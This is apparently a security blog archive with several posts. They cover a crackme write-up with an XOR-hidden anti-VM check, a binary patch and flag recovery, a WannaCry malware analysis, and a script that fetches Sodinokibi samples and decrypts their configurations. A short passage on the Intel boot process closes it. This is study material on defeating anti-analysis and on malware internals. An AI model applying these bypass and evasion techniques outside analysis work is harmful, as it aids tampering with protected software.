If EAX is not zero, we're in the right path, so in the parent process. As you can remember, we have the PID of the child into the EAX register. After the check with -1 into the block [1], it goes into the block [2]. Here, the parent performs a call to waitpid():
The waitpid() system call is used to wait for state changes in a child of the calling process, and obtain information about the child whose state has changed. A state change is considered to be: the child terminated; the child was stopped by a signal; or the child was resumed by a signal. In the case of a terminated child, performing a wait allows the system to release the resources associated with the child; if a wait is not performed, then the terminated child remains in a "zombie" state. (ref)
On success, waitpid() returns the process ID of the child whose state has changed; On error, -1 is returned. In the next blocks 2, 3, 4 and 5 what happens is described in this answer I got on ReverseEngineering. There's no need to add anything more.
Anti-VM code
This is where things become fun and interesting. We can observe a bunch of mov instructions into the stack, a loop and inside of it an interesting xor instruction: xor eax, 75h. It seems to be a loop that cycle 0x32 times (50in decimal) and starting from [ebp+command] it xors one byte at a time to a fixed value equal to \x75. Pretty standard XOR decryption routine, right? We can try to replicate this routine in python:
#!/usr/bin/python
hexdata = "19061605005509551207100555523D0C051007031C061A07525509550107555811555255525509551600015558114F55581347"
binary = hexdata.decode("hex")
def xor_strings(data):
return "".join(chr(ord(data[i]) ^ 0x75) for i in range(len(data)))
xored = xor_strings(binary)
print "Your decrypted string is: " + xored
[email protected]:/opt/ctf# ./script.py
Your decrypted string is: lscpu | grep 'Hypervisor' | tr -d ' ' | cut -d: -f2
Basically, it decrypts in memory a shell command and execute it via the next popen syscall that verifies, using the lscpu command, if the CPU name contains a string Hypervisor. This syscall looks pretty interesting:
The Β popen() function opens a process by creating a pipe, forking, and invoking the shell. Since a pipe is by definition unidirectional, the type argument may specify only reading or writing, not both; the resulting stream is correspondingly read-only or write-only. The command argument is a pointer to a null-terminated string containing a shell command line. Β This command is passed to /bin/sh using the -c flag; interpretation, if any, is performed by the shell. The type argument is a pointer to a null-terminated string which must contain either the letter 'r' for reading or the letter 'w' for writing. popen(): on success, returns a pointer to an open stream that can be used to read or write to the pipe; if the fork(2) or pipe(2) calls fail, or if the function cannot allocate memory, NULL is returned.
After the stream is opened, another syscall fgetc() is executed.
fgetc() reads the next character from stream and returns it as an Β Β Β Β unsigned char cast to an int, or EOF on end of file or error.
What happens is simple: it opens a stream, in read-only mode, and executes the command 'lscpu | grep 'Hypervisor' | tr -d ' ' | cut -d: -f2' . If it returns something, so the grep returns something, we're in a virtual machine, prints the string: [-] No vm please ;) and exit. If the stream fails or it does not return anything, it closes the stream via the fclose() syscall and returns.
Everything becomes clear if we look now into the pseudo-code, with important variables renamed as their role.
Right now it may seem pretty easy, but for me at that time, this was impossible to understand and represented the first big fail: I was not prepared with interpreting assembly XOR instruction, decryption loops and Linux syscalls. I spent almost an entire weekend on this and failed so hard. Because of the time constraints of the job selection, I sent my results without this last exercise and maybe this influenced my performance into the selection. How to bypass all these checks? We need to find from where this function is called and maybe we could modify the code flow to avoid this calling.
Jumping away
With the IDA basic functionalities, we can find where this function is called and, luckily for us, it's called from a single location:
The instruction that calls the function is located inside this sub_E00 and, in particular, IDA shows that's the instruction: call ds:(off_2EF0-3000h) [ebx+edi*4]. Looking around this code we can patch the jz short loc_E55 into a jmp, so we would be able to circumvent all of the above protections.
Cheating with the shell
If you don't want to patch the binary, there's another way to fool this VM check, but not the anti-debug. If you notice, the command passed as an argument to the popen syscall is a normal shell command but with a relative path. So quick and dirty trick would be to create a fake lscpu like this:
#!/bin/bash
echo "I will run you anyway in this VM"
Be sure to export the directory inside the PATH variable and, basically, you're done: when the binary will try to execute the lscpu command, it will run the fake one, it won't return anything containing Hypervisor string, the grep would return nothing and the fgetc consequently will read nothing. Basically, all checks are positive. Easy as it seems.
Analyzing the self decrypting and injecting routine
We can take advantages of the debugging capabilities of IDA and playing with breakpoints. Single stepping into the program flow, after the above routines, we land into this interesting piece of code: Β
I spent a lot of days trying to understand this routine: but it was worth it because I learned a lot: I learned about linux syscalls like mprotect, calloc and also memcpy. I learned about how the code could auto-decrypt and auto-inject inside the binary itself. Moreover, how can be possible to change memory protections back and forth. Indeed, it was very helpful to look around this code, side by side, with its decompiled version:
Before we go deep into the details of the single blocks of code, giving a general overview of what its final purpose is, may help its comprehension. First thing, the code changes via mprotect function the memory protections, adding the write permission, of a specific part of its .text section. After that, it copies, into the stack, some bytes that will be revealed as a key for an afterward decryption. Before entering into the main loop, it allocates an array of bytes into the heap via calloc. Specifically, the length of the array is 0x140 bytes; this value is saved into a local variable placed into the stack at [ebp+n] offset. The main loop is somehow complicated because it xors byte per byte some of its code, placed at sub_89B+i offset, with a fixed constant 0x90 and after, it xors it again with the aforementioned key on the stack. After that, it overwrites the code placed at sub_89B offset, with these new values via the memcpy call and returns after changing again the memory protections of that code section back to read-execute. Let's break in line by line, considering only the useful ones.
Here, it setups the length of the future array in the variable placed on the stack at [ebp+n] with the size of 0x140 or 320 elements of 1 byte. After that, it prepares the arguments of the next call to mprotect, that will change the protection, enabling write permission, on the the address 0x5657D000. Looking up the stack:
Having ESP pointing at 0xFFC344F0, the calling convention dictate that the arguments of a function must be pushed into the stack in reverse order. The mprotect call is defined as: int mprotect(void *addr, size_t len, int prot); with
prot = 6
len = 0xE78
*addr = 0x5657D000
In other words: change the permission of the memory area of 3704 bytes starting from address 0x5657D000, granting the writability via the PROT_WRITE constant. More info of this syscall here. But what's inside this address? We're inside the ELF header, basically the start of the entire binary.
Going further, we can see the moving into the stack of some bytes, a call to calloc to allocate an array of 320+1 null bytes into the heap and the setup of a loop counter variable, placed at [ebp+var_C], with the same size of the array. We're setting up a loop that will scan, byte per byte, a specific area of the binary located at 0x5657D89B - that is a fixed value - and xor every byte, first with 0x90 and after with those bytes that were moved into the stack. For better understand this loop, I suggest to read the answer I got here. When this decryption loop ends, we have the decrypted code inside the heap, into the allocated array. Code can now be replaced with the decrypted one via the memcpy syscall. Finally, write permission can now be disabled and the routine can finish and return.
Second round of conclusions
Many days and months passed staring at me failing so hard into the understanding of this routine. But the feeling was still the same: I wanted to have that "[+] Good job! ;)" string and I've always had the Try Harder approach. Understanding this loop wasn't easy, not even close. I asked for help and, luckily, I got plenty. This is what I got: don't be afraid to ask for help but don't blindly ask for a solution. Work on that, demonstrate that you studied that thing and failed; People, eventually, will get that and will help you.
Towards the victory
After executing the decryption function we land into the code below. First it verifies that the user submitted a password of the length of exactly 0x27, that is a fixed value coming from this instruction: mov eax, (dword_56561058 - 56561000h) [ebx].
Only if the password is exactly 39 characters, it moves on into the DecryptedFunction, passing the user's password as the argument. The previous experience helped a lot to understand this function and the pseudo code generated by IDA is pretty nice.
It scans the user's password, character by character, xoring it with a string retrieved from the binary itself. If every character matches it goes on and continue in the loop, otherwise it breaks. In the end, if everything is correct, it prints the beloved success string. How can we retrieve the correct flag? If we dump the 39 bytes from the binary, from the correct addresses, and xor them with the hardcoded string, we can take advantage of the xor bidirectional nature. Although you can find more details here, we're basically telling this:
A xor B = C
A xor C = B
B xor C = A
My first approach was to bruteforce the routine: if the string submitted is, eventually, \x41\x41\x41\x41\x41\x41\x41... we can step by step into the code and go into the final cmp instruction, retrieve the byte that it compares to and change the ZERO flag to force the loop to continue and not to stop. Otherwise we can dump the contents of the memory and xor with the hardcoded string, as result we get the flag that needs to be submitted to the binary.
We know that we need to get 39 bytes from address *((_BYTE *)AntiAnalysisFunction + 0 + 0xC7) to *((_BYTE *)AntiAnalysisFunction + 0x27 + 0xC7). Or from Β (0x5662A9DC + 0 + 0xC7) = 0x5662AAA3 to 0x5662AACA = (0x5662A9DC + 0x27 + 0xC7). We can apply the xor operation with the known string and we're able retrieve the flag, finally.
Hardcoded: 93 5E B0 B8 C5 D7 AC 23 C3 F0 06 72 F4 74 93 52 74 72 30 ED 8B 3D 04 58 D8 E5 A2 CF 8A ED 8B 5C 5E 61 DC 31 CF 91 82
Memory dump: E8 18 FC FF FF 83 C4 10 85 C0 74 11 C7 45 E0 01 00 00 00 83 EC 0C 6A 01 E8 90 FB FF FF 83 EC 0C 6A 05 E8 46 FB FF FF
Flag hex: 7B 46 4C 47 3A 54 68 33 46 30 72 63 33 31 73 53 74 72 30 6E 67 31 6E 59 30 75 59 30 75 6E 67 50 34 64 34 77 34 6E 7D
Flag ascii: { F L G : T h 3 F 0 r c 3 1 s S t r 0 n g 1 n Y 0 u Y 0 u n g P 4 d 4 w 4 n }
Conclusions
This was a long journey that required a lot of effort and countless sleepless nights. It was worth it? Every single minute, without any doubt. I hope this post will help you in your studies and if you spot any errors or want to help me in my journey into the reverse engineering world please leave a comment, tweet or e-mail.
My own technical analysis of the malware that, in 2017, spread like wildfire encrypting thousands of computers, using one of the tools leaked from the National Security Agency by the group named ShadowBrokers.
Almost two years passed after that weekend of May 2017, when the crypto-worm WannaCry infested the net thanks to the EternalBlue exploit. In roughly two days, WannaCry spread itself all over the world infecting almost 230.000 computers in over 150 countries:
By TheAwesomeHwyh
At that time, working as an Information Security Officer, with my colleagues, especially the guys from IT Infrastructure dept., worked hard to keep the entire Company perimeter safe. Luckily for us, we were not hit by the ransomware, but a lot of effort was spent explaining to the rest of the Company what happened.
Flash forward to 2019
Since this January, I've been running my own Dionaea honeypot that keeps catching a huge number of WannaCry samples. Just to give you some numbers, within two months, the 445 port was hit almost half a million times and I was able to collect roughly 18.000 of its samples at the rate of almost 300 samples per day.
If you notice from the file size, all these samples are all the same, and everyone of them is a WannaCry sample, delivered right to the 445 port in a DLL fashion.
Just to make a contribution to the WannaCry story, though small and useless, I thought it would be fun to analyze the internals of this malware as I wasn't able to do it back in the days. I will concentrate the analysis on its various layers and the most important parts of the code that make this malware unique.
Peeling the onion
First look at one of these samples, confirms that we're dealing with a malicious DLL and it's worth to note its compilation timestamp. Let's call this as launcher.dll because of the evidence found in a string inside the code.
Luckily for us, this sample is not packed. We can check its Import and Export Address Table to get an idea of what this sample is able to do.
Easily enough, checking the imported API, we can assume that the malware uses something in its resourcesection and supposedly create a file and run a process. Commonly, DLL malware exports functionalities to the outside via its Export Address Table. We can see only one exported function and it's called PlayGame:
As noted above, malware imported some specific APIs to manage its resource section, like FindResourceA and LoadResource. We can easily recognize the magic numbers of a Portable Executable file - a Windows executable file - stored inside this section. We can dump it easily with tools like ResourceHacker:
But before analyzing it, we need to get rid of some bytes in the header, we'll come to these bytes later.
So now, we can open it and check its sections like we just did with the aforementioned DLL. Interestingly this new dumped executable seems 7 years older than the first one, its compile timestamp is dated November 2010 but, be aware that this date can be easily fake.
We can get an idea of what its purpose is by checking out the imported libraries:
We have to expect much more complexity in this stage than the DLL. We have a bunch of standard libraries like KERNEL32.dll or WININET.dll and iphlpapi.dll. This DLL was unknown for me so I found, from MSDN, that:
Purpose
The Internet Protocol Helper (IP Helper) API enables the retrieval and modification of network configuration settings for the local computer.
The IP Helper API is applicable in any computing environment where programmatically manipulating network and TCP/IP configuration is useful. Typical applications include IP routing protocols and Simple Network Management Protocol (SNMP) agents.
A quick look suggests that this executable operates with Windows services configuration, manages files and resources and also, has network capabilities:
The Plan
My plan is to give a deep look inside all various stages that the malware extracts during its execution, analyzing its code and how it interacts with internal Windows subsystems.
For this reason, we're now stepping back to analyze and understand how the DLL extracts this executable in the first place. Then we'll give a look inside the debugger to see how things happen in realtime and then, we will analyze and try to understand what this executable is going to do once it infects the system.
Analysis of the first layer: launcher.dll
The purpose of this DLL is exactly what we supposed thanks to the analysis of the imported libraries. The only exported function PlayGame is easily disassembled by IDAPro.
The first call to sprintf compose the Dest string as C:\WINDOWS\mssecsvc.exe. Then it calls two functions, sub_10001016 that extracts, from its resource section, the executable we dumped before and then, saves it into a new file named as Dest string; after that sub_100010AB runs the file. Notice that we have just gained our first host-based indicator:C:\WINDOWS\MSSECSVC.EXEfor this malware detection.
Function sub_10001016 aka ExtractAndCreate
For better reading and understanding this function, we can rename it as ExtractAndCreate and we can split it into two parts: the extract part and the create file part.
Disassembled extract part
During this phase, the malware uses four API calls, that are completely covered inside the MSDN.
FindResourceA: Determines the location of a resource with the specified type and name in the specified module.
LoadResource: Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.
LockResource: Retrieves a pointer to the specified resource in memory.
SizeOfResource: Retrieves the size, in bytes, of the specified resource.
That being said, we can now analyze step by step this simple four blocks of code. First function prototype is:
Parameter hModule is being populated inside the DLLMain method, and is equals to variable hinstDLL.
hinstDLL: A handle to the DLL module. The value is the base address of the DLL. The HINSTANCE of a DLL is the same as the HMODULE of the DLL, so hinstDLL can be used in calls to functions that require a module handle.
lpName: The name of the resource. In this case, name is 0x65 or 101 in decimal value. If you look, name is confirmed by analyzing the DLL with ResourceHacker:
lpType: The resource type. Can be also noticed in the screenshot above.
From MSDN: If the function succeeds, the return value is a handle to the specified resource's information block. To obtain a handle to the resource, pass this handle to the LoadResource function. If the function fails, the return value is NULL.
Coming back to the disassembly, this handle is returned into EAX and then moved inside EDI, where is being tested to check if it's null. If it's not, the handle is pushed, as the second argument, to the next API call to LoadResource. Quoting MSDN: itretrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory. It also suggests:"...to obtain a pointer to the first byte of the resource data, call the LockResource function; to obtain the size of the resource, call SizeofResource".
hModule: A handle to the module whose executable file contains the resource.
hResInfo: A handle to the resource to be loaded.
The same approach applies with the other two API calls: LockResource and SizeofResource. The interesting thing to note here is that the return value from this last call, stored inside EAX register as 500000, won't be used at all:
So now, looking in the debugger, we have:
EAX = 500000
ESI = 10004060
ESI register contains the pointer to the memory region referred to the resource section that contains the executable itself. You can notice it thanks to the MZ header in the memory dump. Remember the 4 bytes that were been removed with hex editor before? According to MSDN this DWORD is the actual size of raw data inside the resource section of the binary itself. So, this value 0x0038D000is moved into EBX and then pushed as lpBuffer to the WriteFile function. Pretty standard call here: CreateFileA will create a file with specific attributes. Parameter dwFlagsAndAttributes, according to MSDN, a value of 0x4stands for: "The file is part of or used exclusively by an operating system".
After the call to WriteFile, we have our executable saved and ready to run. The interesting parameters for this call are:
lpBuffer: equals to ESI, is the value returned by the call to LockResource and is a pointer to the buffer to write into the file. Basically is a pointer to the binary inside the resource section.
nNumberOfBytesToWrite: as we said earlier, this parameter is the value pointed by the ESI to a DWORD inside of resource header. Its value represent the size of the binary data.
So now, we can enable a breakpoint right after the WriteFile call and get the freshly created executable.
Function sub_100010AB aka RunTheFile
Here we're dealing with a very simple API call to CreateProcessA, nothing fancy to add. I'd prefer not to dig inside all these parameters, it's completely covered inside the MSDN.
Conclusion after the first layer
What I would show here is my own study process: be aware, sometimes it can be very, very time-consuming but it gives me a big, complete and deep look inside Windows internals and how malware uses them. This proceeding, for me as a novice, helped a lot.
Analysis of the second layer: mssecsvc.exe
This will differs from the DLL file. As we noted initially, this executable is way more complex: we'll deal with various libraries and functionalities. But all start with a (Win)main function, right?
Do you remember the kill-switch? Do you remember the story behind? Give it a read, it's very interesting.
In general terms, the main function of a Windows program is named WinMain, this is the first function that will be called when the program starts. We see a very strange url inside this code. Exactly the string is: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com and is referred through the EDI register. After that, the WinINet subsystem is initialized using the call to InternetOpenA, this function returns a valid handle that the application passes to subsequent WinINet functions. Next, there's a call to InternetOpenUrlA that opens a resource specified by a complete FTP or HTTP URL. After that the handle is closed and a new function is called: sub_408090, we'll name it ServiceStuff:
In the first block of code, according to MSDN: GetModuleFileNameA retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process, first parameter hModule is the handle to the loaded module whose path is being requested. If this parameter is NULL, GetModuleFileNameA retrieves the path of the executable file of the current process. Here the value is set to NULL, so it retrieves the name of the executable itself:
We then find a check on the number of arguments: if there are arguments the TRUE path will be taken. Because, in our case, we're debugging without any argument, the FALSE path is taken and a new function sub_407F20 is called. This is a simple function that calls other two, so let's call it FunctionCaller:
Simple enough sub_407C40 create a new service and then starts it, so we name it CreateAndStartService. Service will be run with command line mssecsvc.exe -m security and with a display name as "Microsoft Security Center (2.0) Service" defined as "mssecsvc2.0".
When we move then to sub_407cE0, things start to become fun. For the sake of simplicity, we'll analyze this function in four parts. The first part is easy because the malware dynamically resolve some APIs:
Nothing too much complicated here: it uses GetProcAddress to populate some variables with the address of specific APIs, so it can call them in the next lines of code. After that, the second part will manage the resource section, just like the way we analyzed in the DLL launcher.dll:
This is confirmed into the debugger:
The return value from LockResource, as we know, is the pointer to the resource section into the binary and we can notice the MZ header into the memory dump. We then reach another interesting piece of code:
Two distinct string: Dest and NewFileName, are created using sprintf function. This two evidence are others good host-based indicators:
Dest = C:\WINDOWS\tasksche.exe
NewFileName = C:\WINDOWS\qeriuwjhrf
After that, the old file tasksche.exe is moved into the new file qeriuwjhrf and a new tasksche.exe is created. Now, I found myself lost into somehow obscure code: I got that WriteFile will dump the R resource into the created file tasksche.exe and runs it at the end. What's inside the middle part, for me, remains in the dark.
In situations like this, I prefer to view the code inside the debugger because viewing the code during runtime maybe can help to shed some light. Indeed, seems like It created the command line for the incoming CreateProcessA call.
To recap: this function dumps its resource data inside a new executable file named tasksche.exe, making a copy inside another file named qeriuwjhrf, and then run tasksche.exe /i.
Stepping back to ServiceStuff function, there's the other path to analyze: when there are the arguments "-m security", it enters into service mode. After its initialization, it changes service config:
According to MSDN, it changes the config so that failure actions occur if the service exits without entering a SERVICE_STOPPED state. After that, it executes its ServiceFunction:
This function setup the handles and starts exploiting the MS17-010 vulnerability into the reachable networks. Note that it exits after 24h. Here, I renamed this function ExecuteEternalBlue
This call starts a number of events that let the infection to happen. First thing, Winsock subsystem is initialized and a CryptoContext is generated:
Next, the malware will load a DLL into the memory - the very same launcher.dll we analyzed before - and then run it. Networks attacks happen inside two new threads. This flow can be easily observed if we decompile this function:
The first thread, involving the function sub_407720, will enumerates local network adapters and generates IP addresses compatible for those networks. For every IP, it tries to connect to port 445 and, if successful, launch the attack. Second thread, involving function sub_407840, will run 128 times with 2 seconds (hex 7D0) delay between each run. It will generates random IP address and tries to connect on port 445, if connection is successful, malware will launch the EternalBlue attack. It's a pretty big chunk of code, but one interesting block of code is this:
Basically the malware, with the random IP placed into the Dest string converted into the proper format, calls sub_407480 aka CreateSocketAndConnect to try a connection to the 445 port, if the connection is successful, real attack is launched within the function sub_407540 aka SMBAttack.
Conclusion after the second layer
So, until now, we got a DLL - launcher.dll - that loads and runs a binary stored inside its resource section,mssecsvc.exe. The very first time, a new service is created to achieve persistence and after that it scans the networks (local and random remote) launching the EternalBlue exploits against 445 ports. In its stand-alone version, it dumps another binary from its resource section and runs it. What's the purpose of this third binary? Let's give a look.
Analysis of the third layer: tasksche.exe
Remember that this executable come from the resource section of previous file, mssecsvc.exe. When it runs as service, locates its resource section and writes it to the disk creating tasksche.exe. When it starts, it first generates a random string based on computer name, then checks if there are some command line arguments, in particular, if there's /i as argument. We have now two branches to analyze:
If there's /i argument: it creates specific directories and copies the file over it, like C:\ProgramData\somerandomstring\tasksche.exe and runs it from there.
If there's no /i argument: it locates its resource section, named XIA, storing and extracting it onto disk. What's interesting to note here that this resource is a compressed password protected archive. Luckily for us, password is hardcoded in clear text.
Let's give a look inside the archive knowing the password: [email protected]
We can recognize the magic numbers for a ZIP file that we can dump directly and extract.
b.wnry is the bitmap image of the ransomware. Basically what you see as wallpaper when the computer is infected.
c.wnry is the configuration file in clear text, we can see some onion servers and the archive containing the TOR browser.
r.wnry contains some text ransom note.
Inside the msg folder there are some localized ransom note:
Conclusion after the third layer
This new executable seems pretty interesting because basically, it manages all the crypto actions involved within the ransomware. I won't go into this analysis because it's beyond my actual skills and also because, there are plenty of resources available on the internet, from amazing guys that are way better than me. For example, this technical analysis by FireEye was published only few days aftermath and is complete, deep and detailed. I used it a lot to better understand many pieces of obscure code.
Conclusion
I have learned a lot from this research: I learned how malware interacts with their resource section to hide, dump and create files; I learned how malware interacts with Windows service manager and how they actually load DLLs in memory, how they scans networks and how EternalBlue actually works. Also, having available such complete and detailed technical analysis, on this very specific malware, helped me to not loose the direction when I went too deep inside the assembly code. It was very fun and I hope this research will be helpful to someone at least as it was for me. Β
XLM macros have been making a comeback so it's important to be able to analyze them. I wrote a proof of concept tool that provides insight into what it's doing...
Python is the language I always wanted to learn. I tried but failed every single time, don't know exactly why. This time was different though, I knew from the first line of code. So, with a little push of a dear friend of mine (thanks Elio!), I tried to investigate how to decode Sodinokibi ransomware configurations for hundreds, maybe thousands, of samples. I intended to understand, using powerful insights from VirusTotal Enterprise API, if there are relationships between Threat Actor, mapped inside the ransomware configuration, and the country visible from the VirusTotal sample submission. I am perfectly aware that it's not as easy as it seems: the ransomware sample submission's country, visible from VirusTotal, may not be the country affected by the ransomware itself. But, in one case of another, I think there could be somehow a link between the two parameters: maybe from the Incident Response perspective.
Getting the samples
My first step was to get as many samples as I could. My first thought was to use VirusTotal API: I'm lucky enough to have an Enterprise account, but the results were overwhelming and, due to the fact I was experimenting with Python, the risk of running too many requests and consume my threshold was too high. So I opted to use another excellent malware sharing platform: Malware Bazaar by Abuse.ch
downloaded_samples = []
data = { 'query': 'get_taginfo', 'tag': args.tag_sample, 'limit': 1000 }
response = requests.post('https://mb-api.abuse.ch/api/v1/', data = data, timeout=10)
maldata = response.json()
print("[+] Retrieving the list of downloaded samples...")
for file in glob.glob(SAMPLES_PATH+'*'):
filename = ntpath.basename(os.path.splitext(file)[0])
downloaded_samples.append(filename)
print("[+] We have a total of %s samples" % len(downloaded_samples))
for i in range(len(maldata["data"])):
if "Decryptor" not in maldata["data"][i]["tags"]:
for key in maldata["data"][i].keys():
if key == "sha256_hash":
value = maldata["data"][i][key]
if value not in downloaded_samples:
print("[+] Downloading sample with ", key, "->", value)
if args.get_sample:
get_sample(value)
if args.clean_sample:
housekeeping(EXT_TO_CLEAN)
else:
print("[+] Skipping the sample because of Tag: Decryptor")
This block of code essentially builds the request for the back-end API where the tag to search for comes from the command line parameter. I defaulted it to Sodinokibi. It then creates a list of samples already present in the ./samples directory not to download them again. Interestingly, because there are many Sodinokibi decryptors executables on the Malware Bazaar platform, I needed some sort of sanitization not to download them. When it founds a sample not present inside the local directory, It then calls the function to download it.
def get_sample(hash):
headers = { 'API-KEY': KEY }
data = { 'query': 'get_file', 'sha256_hash': hash }
response = requests.post('https://mb-api.abuse.ch/api/v1/', data=data, timeout=15, headers=headers, allow_redirects=True)
with open(SAMPLES_PATH+hash+'.zip', 'wb') as f:
f.write(response.content)
print("[+] Sample downloaded successfully")
with pyzipper.AESZipFile(SAMPLES_PATH+hash+'.zip') as zf:
zf.extractall(path=SAMPLES_PATH, pwd=ZIP_PASSWORD)
print("[+] Sample unpacked successfully")
A straightforward function: builds the API call, gets the zipped sample, unpack, and saves it inside the directory ./samples. Note that the sample filenames are always their SHA-256 hash. After unpacking it, I made a small housekeeping function to get rid of the zip files.
def housekeeping(ext):
try:
for f in glob.glob(SAMPLES_PATH+'*.'+ext):
os.remove(f)
except OSError as e:
print("Error: %s - %s " % (e.filename, e.strerror))
Now it's time to analyze these samples to get the pieces of information we need. The plan is to extract the configuration from an RC4 encrypted configuration stored inside a PE file section. Save ActorID, CampaignID, and executable hash. With the latter, we then query VirusTotal API to get insights for the sample submission: the City and the Country from where the sample was submitted and when there was the submission. As I wanted to map these pieces of information on a map, with OpenCage API I then obtained cities coordinates of the submissions.
The code to build the API calls and parse the response JSON is rough, shallow and straightforward I would not go with it. I'm sure there are plenty of better ways to do its job, but...it's my first time with Python! So bear with me, please. What I think it's interesting is the function that extracts and decrypts the configuration from the ransomware executable PE file. These are the lines of code that do this task:
excluded_sections = ['.text', '.rdata', '.data', '.reloc', '.rsrc', '.cfg']
def arc4(key, enc_data):
var = ARC4.new(key)
dec = var.decrypt(enc_data)
return dec
def decode_sodinokibi_configuration(f):
filename = os.path.join('./samples', f)
filename += '.exe'
with open(filename, "rb") as file:
bytes = file.read()
str_hash = hashlib.sha256(bytes).hexdigest()
pe = pefile.PE(filename)
for section in pe.sections:
section_name = section.Name.decode().rstrip('\x00')
if section_name not in excluded_sections:
data = section.get_data()
enc_len = struct.unpack('I', data[0x24:0x28])[0]
dec_data = arc4(data[0:32], data[0x28:enc_len + 0x28])
parsed = json.loads(dec_data[:-1])
return str_hash, parsed['pid'], parsed['sub']
#print("Sample SHA256 Hash: ", str_hash)
#print("Actor ID: ", parsed['pid'])
#print("Campaign ID: ", parsed['sub'])
#print("Attacker's Public Encryption Key: ", parsed['pk'])
Disclaimer: these lines are, obviously, not mine. I modified the script provided by the guys of BlackBerry ThreatVector. I invite you to read where they explain how the configuration is stored within the section, where's the RC4 encryption key and how to decrypt it.
In my version of the script, it runs on Python3 and uses a standard library for the RC4 algorithm. Also, it's worth to mention that this script fails if input samples are packed. It expects the existence of the particular section with the saved encrypted configuration; it fails otherwise. I added some controls to handle miserable crashes, but there are unmanaged cases still: I'm so new to Python!
In the end, we have a dear old CSV file enriched with a bunch of information: Country, City, Latitude, Longitude, ActorID, CampaignID, Hash, Timestamp. We're ready to map it.
Understanding the data
Our data is described inside a data.csv
Field aid (ActorID) is changed, during the months, from an integer number, like ActorID: 39 to a hash representation. For now, we have only 174 samples where we managed to extract the configuration. We can now group the data by aid field and count the submissions.
From what I see, I can understand that the samples related to ThreatActor with the ID 39 have nine submissions from the city of Ashburn US. I have to comprehend why this city has so many submissions related to Sodinokibi. I hope that someone that reads this post would help me to understand and shed some light.
If we map the ThreatActorID vs the City of the submission, we can easily see the data.
ThreatActors vs Submissions CitySubmissions City vs Submissions count
Next steps would be acquiring as many samples as I can. The best choice would be using VirusTotal API to retrieve the samples and this is what I'm going to do. Hopefully I won't burn my entire Company API limit.
All the scripts used in this post, the data and the Jupiter notebook used to map the data is available here.
Is this a good time to start a new cyber security blog?
I have been working in cybersecurity for quite some time, but have always been afraid of writing publicly about my work: afraid of being publicly rediculed for my work, afraid of my english proficiency and afraid in general.
When I finally got the curage to start the North Korean blog thing happened, litterally a half hour before starting, throwing me way down.
But finally I decided to go anyway.
Iβll be posting a lot of my backlog in the next few weeks, including: the Intel PC boot process, intel uCode stuff, expereicnes as a blue teamer.
Lets hope someone somewhere ever reads these words.
This blog post is an in-depth dive into the security features of the Intel/Windows platform boot process. In this post I'll explain the startup process through security focused lenses, next post we'll dive into several known attacks and how they were handled by Intel and Microsoft. My wish is to explain to technology professionals not deep into platform security why Microsoft's SecureCore is so important and necessary.
Introduction and System Architecture
We must first begin with a brief introduction to the hardware platform. Skip this if you have read the awsome material available on the web about the Intel architecture, I'll try to briefly summarize it here.
The Intel platform is based on one or two chips. Small systems have one, the desktop and server ones are separated to a CPU complex and a PCH complex (PCH = Platform Controller Hub).
The CPU complex deals with computation. It holds the "processor" cores, e.g. Sunny Cove that implement the ISA, as well as cross core caches like the L3 cache, and more controllers that are grouped together as "the system agent" or the "uncore". The uncore contains the memory controller and display, e.g. GPU and display controller.
The PCH handles all other IO, including access to the firmware through SPI or eSPI, wifi, LAN, USB, HD audio, SMBus, thunderbolt and etc'. The PCH also hosts several embedded processors, like the PMC, the Power Management Controller.
An additional part of the PCH is a very important player in our story, the CSME, or Converged Security & Management Engine, a i486 IP block (also called Minute IA). CSME is responsibly for much of the security model of Intel processors as well as many of the manageability features of the platform. The CSME block has its own dedicated ~1.5mb of SRAM memory and 128KB of ROM, as well as a dedicated IOMMU, called the A-Unit (that even has its own acode microcode) located in the CSME's uncore', thats allows access from ME to the main memory, as well as DMA to/from the main memory and using the main memory as an encrypted paging area ("virtual memory"). The CSME engine runs a customized version of the Minix3 microkernel, also recent versions have changed it beyond recognition adding many security features.
Buses
Lets use this post to also introduce the main interconnects in the system. The main externally facing interconnect bus is PCI-E, a fast bust that can reach 64GBps in its latest incarnations. A second external bus is the LPC, or Low Pin Count bus, a slow bus for connecting devices such as SPI flash, the TPM (explained below), and old peripherals such as PS/2 touchpads.
Internally the platform is based around the IOSF, or Intel On-chip System Fabric, which is a pumped up version of PCI-E that supports many additional security and addressing features. For addressing IOSF adds SourceID and DestID fields that contain the source and destination of any IOSF transaction, extending PCI-E Bus-Device-Function (BDF) addressing to enable routing over bridges. IOSF also extends addressing by adding support for multiple address root namespaces, currently defining three: RS0 for host memory space, RS1 for CSME memory space, and RS2 for the Innovation-Engine (IE), another embedded controller currently present only on server chipsets.
There are two IOSF busses in the PCH - the Primary Fabric and the Sideband Fabric. The Primary Fabric is high speed, connecting the CPU to the PCH (through a protocol call DMI), as well as high speed devices such as Gigbait Ethernet, WiFi and eSPI. The Sideband Fabric is used to connect the CSME to low-speed devices, including the PMC (Power Management Controller), the RNG generator, GPIO pins, USB, SMBus, and even debugging interfaces such as JTAG.
More Components
Another interesting component is the ITH, or Intel Trace Hub, which is codenamed North Peak (NPK). The ITH can trace different internal hardware component (VIA - Visualization of Internal Signals, ODLA - On-chip logic analyzer, SoCHAP - SOC performance counters, IPT - Intel Process Trace, AET - Intel Architecture Trace), and external component like CSME, the UEFI firmware, and you can even connect it to ETW. This telemetry eventually finds its way to Intel in various methods.
The TPM is designed to provide a tamper proof environment to enforce system security through hardware. It implements in hardware many essential functions: sha1 & sha256 hashing algorithms, many crypto and key derivation functions, measurment registers call the Platform Configuration Registers (PCRs), a secret key - Endorsment Key - used to derive all other keys, and non-volatile storage slots for storing keys and hashes. Discrete TPM chips (i.e. those that are a separate chip on the mainboard or SOC and connected through the LPC) are call dTPMs, or can be implemented in the CSME module's firmware and called fTPMs.
The TPM's PCR are initialized to zero when the platform boots and are filled up with measurements through the boot process. PCRs 0-15 are intended for "static" use - they reset when the platform boots; They are supposed to give the OS loader a view of the platform initialization state.
PCRs 17-22 are for "dynamic" use - they get reset on each secure launch (GETSEC[SENTER]); They are supposed to be used by the attestation sofware that checks if the OS is trusted.
The Flash Chip
SPI flash has 5 major regions: the Descriptor regions, the CSME region, the Gigabit Ethernet Region, the Platform Data Region, and the UEFI region. In the image below you can see an example of how the flash is organized.
Later versions added more regions:
